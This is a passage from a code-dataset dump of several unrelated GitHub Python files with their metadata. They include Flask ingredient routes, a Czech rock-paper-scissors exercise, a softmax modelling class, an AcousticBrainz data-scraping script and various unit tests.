ingredient\n@app.route('/delete_ingredient/', methods=['DELETE'])\ndef delete_ingredient(ingredient_name):\n try:\n Ingredient.query.filter_by(name=ingredient_name).delete()\n db.session.commit()\n\n return 'You just deleted: ' + ingredient_name\n except:\n return 'Invalid data'\n\n# update ingredient\n@app.route('/update_ingredient_category', methods=['PUT'])\ndef update_ingredient():\n try:\n ingr_name = request.form.get('name')\n new_cat = request.form.get('new_cat')\n new_cat_id = (IngredientCategory.query.filter_by(name=new_cat).first()).id\n\n db.session.query(Ingredient).filter_by(name=ingr_name).update({'category': new_cat_id})\n db.session.commit()\n\n return 'OK'\n\n except:\n return 'Invalid data'\n\n ","repo_name":"Magenta24/Get-Dishes-Service","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9049606891","text":"'''Tento projekt doplňuje program ze srazu. Zkombinuj program z předchozího úkolu (č. 7) s programem kámen-nůžky-papír a nastav tah_pocitace na:\n\n 'kámen', pokud je cislo 0,\n 'nůžky', pokud je cislo 1,\n jinak na 'papír'.\n\nKód ze srazu najdeš i zde(link nize), ale výrazně ho stačí zjednodušit jen na tah_pocitace.\nlink: https://naucse.python.cz/2021/plzen-podzim-2021/beginners/comparisons/\n'''\n# automatizace tahu pocitace\nfrom random import randrange\nCML = randrange(2) # CML = Centralni Mozek Lidstva\nif CML == 0:\n CML = \"kámen\"\nelif CML == 1:\n CML = 'nůžky'\nelse:\n CML = 'papír'\n\nhooman = input('kámen, nůžky, nebo papír? ')\n\nif hooman == 'kámen':\n if CML == 'kámen':\n print('Plichta.')\n elif CML == 'nůžky':\n print('Vyhrála jsi!')\n elif CML == 'papír':\n print('Počítač vyhrál.')\nelif hooman == 'nůžky':\n if CML == 'kámen':\n print('Počítač vyhrál.')\n elif CML == 'nůžky':\n print('Plichta.')\n elif CML == 'papír':\n print('Vyhrála jsi!')\nelif hooman == 'papír':\n if CML == 'kámen':\n print('Vyhrála jsi!')\n elif CML == 'nůžky':\n print('Počítač vyhrál.')\n elif CML == 'papír':\n print('Plichta.')\nelse:\n print('Nerozumím.')","repo_name":"klusik/Python","sub_path":"michal/PyLadies/begginers/02_conditions/domaci_ukol_9.py","file_name":"domaci_ukol_9.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"cs","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39798676703","text":"from __future__ import division\nimport logging\nimport numpy as np\nimport copy\n\n\nfrom cops_and_robots.fusion.softmax import Softmax\n\nclass BinarySoftmax(Softmax):\n \"\"\"A collection of Binary versions of Softmax distributions.\n\n While the Softmax class can take m>=2 class labels to create m mutually\n exclusive and exhaustive distributions,the BinarySoftmax class takes\n m>=2 class labels to create m sets of 2 distributions. Each set contains\n one of the previous Softmax distributions and its complement.\n\n For example, given a one-dimensional speed model with m=3 class labels\n 'stopped', 'slowly', and 'quickly', the new BinarySoftmax model creates\n 'stopped' and 'not stopped', 'slowly' and 'not slowly', and 'quickly' and\n 'not quickly'. Each set is mutually exclusive and exhaustive, but there is\n no longer a dependency between the original labels.\n\n Parameters\n ----------\n param : param_type, optional\n param_description\n\n Attributes\n ----------\n attr : attr_type\n attr_description\n\n Methods\n ----------\n attr : attr_type\n attr_description\n\n \"\"\"\n\n def __init__(self, softmax_model, allowed_relations=None, bounds=None):\n super(BinarySoftmax, self).__init__(weights=np.zeros((2, 2)),\n biases=np.zeros(2),\n labels=['Null', 'NaC'],\n bounds=bounds,\n )\n self.softmax_model = softmax_model\n\n # Remove unwanted bits of the softmax superclass\n del self.weights\n del self.biases\n del self.classes\n del self.class_cmaps\n del self.class_colors\n del self.class_labels\n del self.normals\n del self.num_classes\n del self.num_params\n del self.offsets\n del self.poly\n\n self.categorical_to_binary()\n\n def __str__(self):\n str_ = ('Binary softmax model with submodels: {}'\n .format( self.binary_models.keys()))\n return str_\n\n def categorical_to_binary(self):\n \"\"\"Transforms a m>2 class softmax model to multiple binary models.\n \"\"\"\n self.binary_models = {}\n\n # Create new binary softmax model for each class\n for class_label in self.softmax_model.class_labels:\n new_softmax = copy.deepcopy(self.softmax_model)\n \n # If MMS model use subclass labels\n if hasattr(new_softmax, 'subclasses'):\n new_softmax.labels = []\n for l in new_softmax.subclass_labels:\n j = l.find('__')\n if j > -1:\n l = l[:j] \n new_softmax.labels.append(l)\n del new_softmax.subclasses\n else:\n new_softmax.labels = new_softmax.class_labels\n del new_softmax.classes\n \n if hasattr(new_softmax,'probs'):\n del new_softmax.probs\n if hasattr(new_softmax,'subclass_probs'):\n del new_softmax.subclass_probs\n\n for i, new_label in enumerate(new_softmax.labels):\n if new_label != class_label:\n new_label = 'not ' + class_label\n new_softmax.labels[i] = new_label.title()\n\n new_softmax.num_classes = len(new_softmax.labels)\n new_softmax._define_classes(new_softmax.labels)\n\n self.binary_models[class_label] = new_softmax\n\n def probability(self, state=None, class_=None):\n # if class_ == None:\n # class_ = \n if 'Not ' in class_:\n not_label = class_\n label = class_.replace('Not ', '')\n p = self.binary_models[label].probability(state, not_label)\n else:\n label = class_\n p = self.binary_models[label].probability(state, label)\n return p\n\n def get_single_model(self, binary_model_label):\n \"\"\"Select one softmax model from the set of binary models.\n \"\"\"\n if 'Not ' in binary_model_label:\n binary_model_label = binary_model_label.replace('Not ', '')\n return self.binary_models[binary_model_label]\n\n\n def trim_categories(self):\n pass\n # <>TODO: Subclass dict to BinaryDict, allowing us to call any class from\n # a binary MMS model\n # @property\n # def classes(self):\n # for binary_model in self.binary_models:\n # try:\n # class_ = binary_model[key]\n # return class_\n # except KeyError:\n # logging.debug('No class {} in {}.'.format(key, binary_model))\n # except e:\n # raise e","repo_name":"COHRINT/cops_and_robots","sub_path":"src/cops_and_robots/fusion/softmax/binary_softmax.py","file_name":"binary_softmax.py","file_ext":"py","file_size_in_byte":4761,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"20802483198","text":"import csv\nimport string\nimport random\nfrom collections import Counter\nimport json\nimport urllib.request\nimport requests\nimport time\nfrom clickhouse_driver import Client\nclient = Client(host='localhost', password='anudora', database='frrl')\n\n# import musicbrainzngs\n\n# top_mbids=client.execute('select mbid from song_info3 order by cnt desc limit 20')\n\n##########################\n# retrieving information #\n##########################\n\n# hm how should i handle mibd insufifficiencies (mlhd id differeing from mbid)\n# get mb mbid first?\n# i think MB api is kinda fast? also think it has batch requests?\n# nope, MB api is slow af (1 request/sec)\n# had to rewrite tag retrieval script: split, also store mbid\n\n\n\n# i = some_mbids[9]\n\n \n# batch processing testing\n\ndef batch_prepper(batch):\n \"\"\"preps url for api from batch\"\"\"\n base_str = 'https://acousticbrainz.org/api/v1/high-level?recording_ids='\n # base_str = 'https://acousticbrainz.org/api/v1/low-level?recording_ids='\n cntr = 0\n batch_str = \"\"\n for i in batch:\n cntr +=1\n batch_str = batch_str + i\n if cntr < len(batch):\n batch_str = batch_str + ';'\n\n url = base_str + batch_str\n return(url)\n\n\n# maximum torture, but seems to be working?\n# even with low -level still only needs ~2 sec for 31\n# much faster with high level\n\ndef batch_procr(data2, mlhd_ids, pointers):\n \"\"\"loop over input list, process based on what wored (lfmid, mbid) \"\"\"\n for i in mlhd_ids:\n\n # first easy case: i not in pointers\n if i not in pointers.keys():\n\n if i in data2.keys():\n # print('gotcha')\n skes_proc(i, None)\n\n else:\n fail_proc(i)\n # print('fail')\n\n # more difficult cases: uneqs -> 4 cases: both, neither, 01, 10\n # i = list(pointers.keys())[2]\n # if i in pointers.keys():\n else:\n v = pointers[i]\n\n i_stat = i in data2.keys()\n v_stat = v in data2.keys()\n\n if i_stat == True and v_stat == True: skes_proc(i, None)\n if i_stat == True and v_stat == False: skes_proc(i, None)\n if i_stat == False and v_stat == True:\n # print(i, v)\n indirects.append(i)\n skes_proc(i,v)\n if i_stat == False and v_stat == False: fail_proc(v)\n\n\ndef skes_proc(j, v):\n \"\"\"If j in mlhd_ids and datat2; dict used depends on which dict works\"\"\"\n \n if v is not None:\n # add all the other data here\n # svl = data2[v]['0']['highlevel']['danceability']['all']['danceable']\n mus_dt = data_proc(data2[v]['0']['highlevel'])\n meta_dt = metadata_proc(data2[v]['0']['metadata'])\n\n else:\n # svl = data2[j]['0']['highlevel']['danceability']['all']['danceable']\n mus_dt = data_proc(data2[j]['0']['highlevel'])\n meta_dt = metadata_proc(data2[j]['0']['metadata'])\n\n skes.append([j] + mus_dt + meta_dt)\n\ndef fail_proc(j):\n fails.append([j])\n\ndef writer_res(skes, fails):\n with open(ACST_FILE, 'a') as fo:\n wr = csv.writer(fo)\n wr.writerows(skes)\n \n with open(FAIL_FILE, 'a') as fo:\n wr = csv.writer(fo)\n wr.writerows(fails)\n \n\n# are they measuring distinct things? \n\ndef data_proc(inf_dict):\n \"\"\"gets musicological information out of information dict, puts in inf_row list\"\"\"\n dncblt = inf_dict['danceability']['all']['danceable']\n gender = inf_dict['gender']['all']['female']\n timb_brt = inf_dict['timbre']['all']['bright']\n tonal = inf_dict['tonal_atonal']['all']['tonal']\n voice = inf_dict['voice_instrumental']['all']['voice']\n\n moods = [inf_dict[\"mood_\" + i]['all'][i] for i in mood_keys]\n\n mus_inf = [dncblt, gender, timb_brt, tonal, voice] + moods\n \n\n gnrs_drtmnd = [inf_dict['genre_dortmund']['all'][i] for i in gnr_drtmnd_keys]\n gnrs_rosemern = [inf_dict['genre_rosamerica']['all'][i] for i in gnr_rosmern_keys]\n gnrs_tzan = [inf_dict['genre_tzanetakis']['all'][i] for i in gnr_tzan_keys]\n moods_mirex = [inf_dict['moods_mirex']['all'][i] for i in moods_mirex_keys]\n\n gnr_inf = gnrs_drtmnd + gnrs_rosemern + gnrs_tzan + moods_mirex\n\n inf_row = mus_inf + gnr_inf\n return(inf_row)\n\n\n\ndef nested_get(input_dict, nested_key, deflt):\n \"\"\"general fun from SO to get nested entries from dicts\"\"\"\n internal_dict_value = input_dict\n for k in nested_key:\n internal_dict_value = internal_dict_value.get(k, None)\n if internal_dict_value is None:\n return deflt\n return internal_dict_value\n\n\ndef metadata_proc(md_dict):\n \"\"\"gets some metadata\"\"\"\n lang = nested_get(md_dict, ['tags', 'language'], ['NOLANG'])[0]\n # print(len(nested_get(md_dict, ['tags', 'language'], ['NOLANG'])))\n \n length = nested_get(md_dict, ['audio_properties','length'], -1)\n label = nested_get(md_dict, ['tags','label'], [\"NOLABEL\"])[0]\n # print(len(nested_get(md_dict, ['tags','label'], [\"NOLABEL\"])))\n \n rl_type = nested_get(md_dict, ['tags','release type'], [\"NORLTYPE\"])[0]\n rls_cri = nested_get(md_dict, ['tags','musicbrainz album release country'], [\"NORLSCRI\"])[0]\n # print(len(nested_get(md_dict, ['tags','musicbrainz album release country'], [\"NORLSCRI\"])))\n\n md_row = [length, label, lang, rl_type, rls_cri]\n return(md_row)\n\n\ndef get_dones():\n with open(ACST_FILE) as fi:\n rdr = csv.reader(fi)\n skes = [r[0] for r in rdr]\n\n with open(FAIL_FILE) as fi:\n rdr = csv.reader(fi)\n failed = [r[0] for r in rdr]\n\n dones = skes + failed\n print(len(dones))\n return(dones)\n \n# md_dict = data2['fb47ca87-499e-4c49-b8a1-3f784d1daa1b']['0']['metadata']\n\n\n# i = 'fb47ca87-499e-4c49-b8a1-3f784d1daa1b'\n# inf_dict = data2['fb47ca87-499e-4c49-b8a1-3f784d1daa1b']['0']['highlevel']\n\n\n# for i in list(data2.keys()):\n# md_dict = data2[i]['0']['metadata']\n# x = metadata_proc(md_dict)\n\n# define general keys genres and moods\ngnr_drtmnd_keys = ['alternative', 'blues', 'electronic', 'folkcountry', 'funksoulrnb', 'jazz', 'pop', 'raphiphop', 'rock']\ngnr_rosmern_keys = ['cla', 'dan', 'hip', 'jaz', 'pop', 'rhy', 'roc', 'spe']\ngnr_tzan_keys = ['blu', 'cla', 'cou', 'dis', 'hip', 'jaz', 'met', 'pop', 'reg', 'roc']\nmoods_mirex_keys = ['Cluster1', 'Cluster2', 'Cluster3', 'Cluster4', 'Cluster5']\nmood_keys = ['acoustic', 'aggressive', 'electronic', 'happy', 'party', 'relaxed', 'sad']\n\n\nif __name__ == '__main__':\n\n # with open('/home/johannes/Dropbox/gsss/thesis/anls/try1/add_data/tag_chunks/test_split2/1_addgs.csv', 'r') as fi:\n # rdr = csv.reader(fi)\n # some_mbids = [i[0:2] for i in rdr]\n\n # some_mbids = client.execute(\"\"\"select lfm_id, mbid from addgs join \n # (select lfm_id, count(lfm_id) as cnt from addgs group by lfm_id having cnt =1) \n # using (lfm_id)\"\"\")\n\n # make sure no duplicates\n mbid_qry = \"\"\"SELECT lfm_id, mbid FROM addgs\n JOIN \n (SELECT lfm_id, count(lfm_id) AS cnt FROM addgs \n GROUP BY lfm_id\n HAVING cnt =1) \n using (lfm_id)\"\"\"\n\n some_mbids = client.execute(mbid_qry)\n print(len(some_mbids))\n # ACST_FILE = '/home/johannes/Dropbox/gsss/thesis/anls/try1/add_data/acstbrnz.csv'\n # FAIL_FILE = '/home/johannes/Dropbox/gsss/thesis/anls/try1/add_data/acst_fails.csv'\n\n ACST_FILE = '/home/johannes/mega/gsss/thesis/acb/acstbrnz.csv'\n FAIL_FILE = '/home/johannes/mega/gsss/thesis/acb/acst_fails.csv'\n\n open(ACST_FILE, 'a')\n open(FAIL_FILE, 'a')\n\n dones = get_dones()\n\n smids = [i[0] for i in some_mbids]\n\n stpd_dict = {}\n for i in some_mbids:\n stpd_dict[i[0]] = i[1]\n\n \n for i in dones:\n try:\n x = stpd_dict.pop(i)\n\n except:\n pass\n\n # some_mbids2 = [[k,v]\n\n some_mbids2 = []\n for k in list(stpd_dict.keys()):\n some_mbids2.append([k, stpd_dict[k]])\n\n some_mbids = some_mbids2\n print(len(some_mbids))\n\n time.sleep(10)\n # fails are quite high, wonder if MB then just returns nothing\n # but wouldn't that produce a separate error message?\n # listenbrainz says website would give separate error message\n\n batch = []\n mlhd_ids = []\n pointers = {}\n\n indirects=[]\n skes = []\n fails =[]\n\n for i in some_mbids:\n\n if len(i[0]) == len(i[1]) == 36:\n pass\n else:\n continue\n \n if i[0] == i[1]:\n batch.append(i[0])\n mlhd_ids.append(i[0])\n else:\n batch.append(i[0])\n batch.append(i[1])\n\n mlhd_ids.append(i[0])\n\n pointers[i[0]] = i[1]\n # pointers[i[1]] = i[0]\n\n if len(batch) > 22:\n # break\n print('process batch')\n print(some_mbids.index(i))\n\n # break\n batch_str=batch_prepper(batch)\n # t1 = time.time()\n # for p in range(200):\n\n while True:\n try:\n with urllib.request.urlopen(batch_str) as url2:\n data2 = json.loads(url2.read().decode())\n break\n \n except:\n print('BAD REQ')\n print(batch_str)\n print(batch)\n time.sleep(10)\n pass\n\n batch_procr(data2, mlhd_ids, pointers)\n writer_res(skes, fails)\n\n batch = []\n mlhd_ids = []\n pointers = {}\n\n indirects=[]\n skes = []\n fails =[]\n\n\n # print(len(data2))\n # t2 = time.time()\n\n\n###################################\n# make colnames for R or whatever #\n###################################\n \ncolx1 = ['dncblt', 'gender', 'timb_brt', 'tonal', 'voice'] + ['mood_' + i for i in mood_keys]\n\ncol_names1 = ['gnr_dm_' + i for i in gnr_drtmnd_keys]\ncol_names2 = ['gnr_rm_' + i for i in gnr_rosmern_keys]\ncol_names3 = ['gnr_tza_' + i for i in gnr_tzan_keys]\ncol_names4 = ['mirex_' + i for i in moods_mirex_keys]\n\ncolx2 = col_names1 + col_names2 + col_names3 + col_names4\n\ncolx3 = ['length', 'label', 'lang', 'rl_type', 'rls_cri']\n\ncolnames = ['id'] + colx1 + colx2 + colx3\n\n\n\n# hmm not sure if i should use offiical genres\n# do they add something?\n# are so general -> will not die out: will be not that many (maybe some hundred)\n# would have to be split up with quite some work\n# if lfm genre dies out, look up what happens here? -> see how much agreement there was in terms of official genres?\n# should really see if i can get official genre information from MB: more complete: nope not available?? at least not through api, \n# don't know where the \n# would be nice to get interaction between informal and \"official\" classification systesm\n# also way of control: do users just parrot officials?\n# but MBID genre information is also user-provided\n# discogs?\n# allmusic seems pretty good (https://labs.acousticbrainz.org/dlfm2016/)\n# based on tivo, is on album level?\n# there is something on song level, but not that much apparently?\n# could also use moods/themes\n# but in either case it's separately from acst_brainz\n\n\n\n\n\n # with open(ACST_FILE, 'a') as fo:\n # wr = csv.writer(fo)\n # wr.writerow(prntrow)\n\n\n# data[i]['0']['metadata']['audio_properties']['length']\n# data[i]['0']['highlevel'].keys()\n# data[i]['0']['highlevel']['timbre']['all']['bright']\n\n\n\n####### high level stuff\n# https://acousticbrainz.org/datasets/accuracy#genre_dortmund\n# danceability: 0-1 (probability same)\n# gender: female 0-1, male 0-1 (probability is of higher entry)\n# genre_dortmund: amount of genres (alternative, blues, electronic, folk-country, funksoulrnb, jazz, etc) -> pointless\n# genre_electronic: amount of 5 electronic genres\n# genre_rosamerica: other genre classification\n# genre_tzanetakis: other genre classification\n# ismir04_rhythm: dance style\n# mood_acoustic: 0-1\n# mood_aggressive: 0-1\n# mood_electronic: 0-1\n# mood_happy: 0-1\n# mood_party: 0-1\n# mood_relaxed: 0-1\n# mood_sad: 0-1\n# moods_mirex: 5 clusters (passionate, cheerful, literate, humerous, aggressive)\n# timbre: 0-1\n# tonal_atonal: 0-1\n# voice_instrumental: 0-1\n\n\n# useful:\n# - danceability\n# - gender\n# - moods\n# - timbre\n# - tonal_atonal\n# - voice_instrumental\n\n# groups for genre spanning (which songs span genres)? \n# - maybe moods_mirex: just save them: might also be useful for genre-spanning?\n \n\n# Piazzai:\n# length,\n# danceability\n# main key\n# scale\n# frequency of main key\n# chord progression\n# scale of chord key\n# bpm\n# total count of beats\n\n# could make separate tables with song - album - artist\n# if i want to use some more industry-level explanatory mechanisms\n\n# -> uses high level data, but IS SUBJECT TO RECALCULATION\n\n\n\n\n##################\n# MB API testing #\n##################\n\n# WERKS\n# https://musicbrainz.org/ws/2/recording/c69310f9-e2e5-4fb2-ac26-836913c478d4?inc=artists+releases\n# # not sure if faster than python api tho\n# # NOPE \n\n\n# https://musicbrainz.org/ws/2/url/ws/2/recording/4843d67e-e3e3-47d0-813b-d4d9f0cb6d56?inc=artists\n# https://musicbrainz.org/ws/2/url/ws/2/recording/0f061025-a50e-44d5-8853-86d9ae3d09b9?inc=artists\n\n# https://musicbrainz.org/ws/2/url/ws/2/recording/c69310f9-e2e5-4fb2-ac26-836913c478d4\n# https://musicbrainz.org/ws/2/url/ws/2/recording/96685213-a25c-4678-9a13-abd9ec81cf35\n\n\n\n# TIME TESTING\n\n# t1 = time.time()\n# for i in range(2000):\n# url = 'https://musicbrainz.org/ws/2/recording/c69310f9-e2e5-4fb2-ac26-836913c478d4?inc=artists+releases&fmt=json'\n# resp_raw = requests.get(url)\n# resp_dict = resp_raw.json()\n# print(len(resp_dict))\n# t2 = time.time()\n\n# API starts blocking requests when they're too close to each other\n\n# t1 = time.time()\n# for i in range(20):\n# mb_inf = musicbrainzngs.get_recording_by_id('c69310f9-e2e5-4fb2-ac26-836913c478d4', includes=['releases', 'artists'])\n# print(i)\n \n# t2 = time.time()\n\n# python api adheres to 1 request/second rule\n\n###############################################\n# trying to get genres from MBU, doesn't work #\n###############################################\n\n# mb_inf = musicbrainzngs.get_recording_by_id(i, includes=['releases', 'artists'])\n# mb_inf = musicbrainzngs.get_recording_by_id(i, includes=['genres'])\n\n# musicbrainzngs.get_release_group_by_id\n\n# for i in some_mbids[0:10]:\n# url = \"https://musicbrainz.org/ws/2/recording/\" + i[1] + \"?inc=genres&fmt=json\"\n# try:\n# resp_raw = requests.get(url)\n# resp_dict = resp_raw.json()\n# print('works')\n# try:\n# print(resp_dict['genres'])\n# except:\n# pass\n# except:\n# print('fail')\n# pass\n\n# time.sleep(0.9)\n\n# https://musicbrainz.org/ws/2/release/517ed123-f71d-4320-b27e-d235fec80dcd?inc=genres\n\n\n# https://musicbrainz.org/ws/2/recording/c69310f9-e2e5-4fb2-ac26-836913c478d4?inc=genres\n\n# https://musicbrainz.org/ws/2/recording/2ee68ec3-d85b-4bc9-8f65-3a109af26b5a?inc=user-genres\n\n# https://musicbrainz.org/ws/2/recording/778850f8-b9b9-475b-900f-1c0114ca729f?inc=genres+artists\n\n# for i in list(data2.keys()):\n# try:\n# print(data2[i]['0']['metadata']['tags']['genre'])\n# except:\n# print('lol')\n# pass\n# print(i)\n\n\n\n####################### figuring out API\n\n# calling with 9: return5, seemingly random order (1,3,4,6,9)\n# could just be those that work?\n# yup\n# seems possible to get input of 48 max\n# yup: 49 breaks it even when all valid -> batches of 48\n\n# that poor api omg\n\n# if i[0] != i[1]: send both\n\n# need way to manage mlhd ids\n\n\n\n################################################\n# testing if things work, not that big concern #\n################################################\n \n# for i in indirects:\n# # print(i in list(data2.keys()))\n# # print(pointers[i] in list(data2.keys()))\n \n# # print(i in [k[0] for k in skes])\n# print(pointers[i] in [k[0] for k in skes])\n \n\n# NEED TO WRITE EXCEPTION WHEN YOU HAVE 2 different mlhd ids point to the same mbid (which is different from both)\n# currently would overwrite dicts\n\n# probably same in other direction too?\n# NOPE: all items in first row unique\n\n# are reverse pointers ever needed?\n# maybe not because i'm looping over mlhd ids which are unique?\n# i think actually not: not asked ever anyways? \n# final attribution is to original unique mlhd_id anyways\n\n\n###########################\n# old method for metadata #\n###########################\n\n # length = -1\n # label = 'NOTTHERE'\n # lang = 'NOLANG'\n # rl_type = \"NORLTYPE\"\n # rls_cri = \"NORLSCRI\"\n\n # length = md_dict['audio_properties']['length']\n # label = md_dict['tags']['label'][0]\n # lang = md_dict['tags']['language']\n # rl_type = md_dict['tags']['release type']\n # rls_cri = md_dict['tags']['musicbrainz album release country']\n\n \n","repo_name":"swhalemwo/thesis","sub_path":"anls/try1/add_data/acst_brainz.py","file_name":"acst_brainz.py","file_ext":"py","file_size_in_byte":16897,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"7113191655","text":"class Node:\n def __init__(self, idx):\n self.id = idx\n self.children = []\n self.path = 0\n self.parent = None\n\nn = int(input())\nnodes = [Node(i) for i in range(n+1)]\nfor i in range(n-1):\n s, e, w = list(map(int, input().split()))\n nodes[s].children.append((e, w))\n nodes[e].parent = s\nqueue = [nodes[1]]\npath1 = 0\nmax_path = -1\ntotal_weight = 0\nwhile queue:\n node = queue.pop(0)\n for idx, w in node.children:\n nodes[idx].path = node.path + w\n total_weight += w\n max_path = max(max_path, nodes[idx].path)\n queue.append(nodes[idx])\n path1 += nodes[idx].path\nprint(path1, total_weight*2-max_path)\n\n\n\n","repo_name":"longkun-uestc/examination","sub_path":"美团/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"6597793036","text":"import sys\n\nsys.stdin = open('input.txt')\ninp = sys.stdin.readline\n\nans = []\nl = [list(map(int, inp().split())) for _ in range(int(inp()))]\nl.sort(key=lambda x: x[2])\ntime = 0\nfor n, s, e in l:\n if s >= time:\n ans.append(n)\n time = e\nprint(len(ans))\nprint(*ans)\n","repo_name":"ihansam/Certi-Pro","sub_path":"concept/6_greedy.py","file_name":"6_greedy.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"15895153854","text":"# Python\n#\n# This module implements tests for Header class.\n#\n# This file is part of mdutils. https://github.com/didix21/mdutils\n#\n# MIT License: (C) 2020 Dídac Coll\n\n__author__ = \"didix21\"\n__project__ = \"MdUtils\"\n\nfrom unittest import TestCase\nfrom mdutils.tools.Image import Image\nfrom mdutils.tools.Link import Reference\n\n\nclass TestLink(TestCase):\n def setUp(self):\n self.text = \"image\"\n self.path = \"../some_image.png\"\n self.reference_tag = \"im\"\n\n def test_new_inline_image(self):\n expected_image = \"![{}]({})\".format(self.text, self.path)\n actual_image = Image.new_inline_image(text=self.text, path=self.path)\n\n self.assertEqual(expected_image, actual_image)\n\n def test_new_reference_image(self):\n link = \"https://github.com\"\n link_text = \"github\"\n reference = Reference()\n reference.new_link(link=link, text=link_text)\n image = Image(reference)\n\n expected_image = \"![{}][{}]\".format(self.text, self.reference_tag)\n actual_image = image.new_reference_image(\n text=self.text, path=self.path, reference_tag=self.reference_tag\n )\n\n expected_image_references = {self.reference_tag: self.path, link_text: link}\n actual_image_references = image.reference.get_references()\n\n self.assertEqual(expected_image, actual_image)\n self.assertEqual(expected_image_references, actual_image_references)\n\n def test_new_reference_when_reference_tag_is_not_defined(self):\n reference = Reference()\n image = Image(reference)\n\n expected_image = \"![{}]\".format(self.text)\n actual_image = image.new_reference_image(text=self.text, path=self.path)\n\n expected_image_references = {self.text: self.path}\n actual_image_references = image.reference.get_references()\n\n expected_image_references_markdown = \"\\n\\n\\n[{}]: {}\\n\".format(\n self.text, self.path\n )\n actual_image_references_markdown = image.reference.get_references_as_markdown()\n\n self.assertEqual(expected_image, actual_image)\n self.assertEqual(expected_image_references, actual_image_references)\n self.assertEqual(\n expected_image_references_markdown, actual_image_references_markdown\n )\n\n def test_inline_inline_tooltip(self):\n tooltip = \"mytooltip\"\n expected_image = \"![{}]({} '{}')\".format(self.text, self.path, tooltip)\n actual_image = Image.new_inline_image(\n text=self.text, path=self.path, tooltip=tooltip\n )\n\n self.assertEqual(expected_image, actual_image)\n\n def test_reference_image_tooltip(self):\n tooltip = \"mytooltip\"\n reference = Reference()\n image = Image(reference)\n\n expected_image = \"![{}]\".format(self.text)\n actual_image = image.new_reference_image(\n text=self.text, path=self.path, tooltip=tooltip\n )\n\n expected_image_references = {self.text: \"{} '{}'\".format(self.path, tooltip)}\n actual_image_references = image.reference.get_references()\n\n expected_image_references_markdown = \"\\n\\n\\n[{}]: {} '{}'\\n\".format(\n self.text, self.path, tooltip\n )\n actual_image_references_markdown = image.reference.get_references_as_markdown()\n\n self.assertEqual(expected_image, actual_image)\n self.assertEqual(expected_image_references, actual_image_references)\n self.assertEqual(\n expected_image_references_markdown, actual_image_references_markdown\n )\n","repo_name":"didix21/mdutils","sub_path":"tests/test_tools/test_image.py","file_name":"test_image.py","file_ext":"py","file_size_in_byte":3546,"program_lang":"python","lang":"en","doc_type":"code","stars":174,"dataset":"github-code","pt":"18"} +{"seq_id":"5979644479","text":"from builtins import next\nfrom builtins import object\nimport logging\nimport datetime\nimport unittest\n\nimport six\n\nimport reclib.validate as V\nimport reclib.parse.fw as PF\nimport reclib.parse.delim as P\n\nlogging.basicConfig(level=logging.DEBUG)\n\nclass ParseFWTestCase(unittest.TestCase):\n def test_RecordStream(self):\n buf = six.StringIO(\"abcdefg\")\n stream = PF.RecordStream(buf)\n stream.move_next()\n self.assertEqual(stream.read(1), \"a\")\n self.assertEqual(stream.get_pos(), 1)\n self.assertEqual(stream.read(6), \"bcdefg\")\n self.assertEqual(stream.eof, False)\n self.assertEqual(stream.read(1), \"\")\n stream.move_next()\n self.assertEqual(stream.eof, True)\n\n def test_Validator(self):\n class MyValidator(V.Validator):\n fields = [\n V.Required(\"first_name\"),\n V.Values(\"color\", [\"red\", \"green\", \"blue\"]),\n V.ISODate(\"dob\")]\n\n v = MyValidator()\n result = v.validate({\"first_name\" : \"john\", \"color\" : \"blue\"})\n\n def test_parse_date(self):\n import reclib.parse.fw as P\n h = FixedFieldParseHarness(P.Date(\"d\", 8, \"%Y%m%d\", min_year=1900))\n value = h(\"20011230\")\n self.assertEqual(value, datetime.date(2001, 12, 30))\n h(\"18950101\")\n self.assertEqual(h.errors[0][1], 'Expected year after 1900')\n\n def test_parse_datetime(self):\n import reclib.parse.fw as P\n h = FixedFieldParseHarness(P.Datetime(\"d\", \"YYYYMMDDHHMM\"))\n value = h(\"200112301430\")\n self.assertEqual(value, datetime.datetime(2001, 12, 30, 14, 30, 0))\n\nclass FixedFieldParseHarness(object):\n \"\"\" Use me to test individual fixed width parse field objects \"\"\"\n def __init__(self, field):\n self.field = field\n\n def __call__(self, value):\n self.errors = []\n self.warnings = []\n buf = six.StringIO(value)\n value = self.field.parse(buf, self.err, self.warn)\n return value\n\n def err(self, msg, value):\n self.errors.append((value, msg))\n\n def warn(self, msg, value):\n self.warnings.append((value, msg))\n\nclass ParseDelimTestCase(unittest.TestCase):\n def test_parse_date(self):\n h = DelimFieldParseHarness(P.Date(\"d\", \"%Y%m%d\", min_year=1900))\n value = h(\"20011230\")\n self.assertEqual(value, datetime.date(2001, 12, 30))\n h(\"18950101\")\n self.assertEqual(h.errors[0], 'Expected year after 1900')\n\n def test_tab_delim(self):\n b = six.StringIO(\"\"\"\\\na\\tb\\tc\nd\\te\\tf\n\"\"\")\n p = P.Parser()\n p.fields = [\n P.String(\"foo\"),\n P.String(\"bar\"),\n P.String(\"baz\"),\n ]\n p.delimiter = \"\\t\"\n recs = iter(p.parse(b))\n self.assertEqual(next(recs), {'baz': 'c', 'foo': 'a', 'bar': 'b'})\n self.assertEqual(next(recs), {'baz': 'f', 'foo': 'd', 'bar': 'e'})\n\nclass DelimFieldParseHarness(object):\n \"\"\" Use me to test individual delimited parse field objects \"\"\"\n def __init__(self, field):\n self.field = field\n\n def __call__(self, value):\n self.errors = []\n self.warnings = []\n value = self.field.parse(value, self.err, self.warn)\n return value\n\n def err(self, msg):\n self.errors.append(msg)\n\n def warn(self, msg):\n self.warnings.append(msg)\n\nclass ValidatorTestCase(unittest.TestCase):\n def test_DateInPast(self):\n validator = V.DateInPast('dob')\n res = V.RecordValidationResult()\n record = {'dob' : '20230101'}\n validator(record, res)\n self.assertEqual(res[0].field, 'dob')\n self.assertEqual(res[0].msg, 'Value must be in the past.')\n\n record = {'dob' : '20030101'}\n res = 